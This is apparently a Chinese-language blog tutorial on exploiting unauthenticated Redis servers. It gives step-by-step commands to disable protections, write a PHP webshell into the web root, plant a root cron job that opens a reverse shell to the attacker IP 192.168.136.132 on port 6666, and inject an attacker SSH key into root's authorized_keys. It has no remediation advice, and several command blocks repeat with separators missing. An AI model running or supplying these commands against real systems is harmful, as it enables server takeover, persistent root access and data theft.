Redis未授权访问漏洞简介:
Redis 默认情况下,会绑定在 0.0.0.0的6379端口上,如果没有设置相关的策略和安全配置,会将 Redis 服务直接暴露在公网上,在没有设置密码认证的情况下,会导致攻击者可以未授权访问 Redis服务读取、甚至是修改 Redis 的数据
配置、修改redis.conf:
protected-mode yes 改为no #关闭redis保护模式bind 127.0.0.1 改为0.0.0.0 #服务器任意网卡地址都可访问redis
一、利用redis写webshell
在redis-cli中写入以下命令:
config set dir /var/www/html # 网站目录 config set dbfilename redis.php # shell文件名 set webshell "<一句话木马>" # shell内容 save
然后看一下目录下是否生成了一个redis.php的文件
可以看到生成了,查看一下文件的内容
在浏览器中访问一下这个文件,成功解析,内容改成一句话木马,即可getshell
二、计划任务反弹shell:
①写入计划任务:
set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave
②监听端口,接收反弹shell:
三、Redis 未授权访问配合SSH key利用
①首先在攻击机生成密匙:
ssh-keygen –t rsa
②生成的文件被保存在了上图的路径中,cd /root/.ssh/,并cat查看文件内容:
③然后将公钥写入key.txt中:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
④然后连接redis进行写入:
$ cat key.txt | redis-cli -h 192.168.136.133 -x set crackit $ redis-cli -h 192.168.1.11 # 登陆未授权的redis服务器 $ config set dir /root/.ssh/ $ config set dbfilename "authorized_keys" $ save
$ cat key.txt | redis-cli -h 192.168.136.133 -x set crackit$ redis-cli -h 192.168.1.11 # 登陆未授权的redis服务器$ config set dir /root/.ssh/$ config set dbfilename "authorized_keys"$ save
⑤然后去目标机看一下是否生成
⑥然后回到攻击机,利用自己的密钥进行ssh登录:
ssh –i id_rsa root@192.168.136.133
本文只是对redis未授权做了一个简单的利用总结,如果文中有错误,欢迎指出,一起讨论,下篇文章将继续围绕redis进行阐述